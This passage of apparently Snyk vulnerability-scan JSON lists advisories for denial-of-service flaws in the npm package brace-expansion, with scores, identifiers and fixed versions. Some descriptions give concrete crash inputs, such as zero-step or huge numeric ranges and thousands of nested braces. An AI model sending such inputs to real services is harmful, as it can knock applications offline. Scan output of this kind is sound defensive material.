"baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, 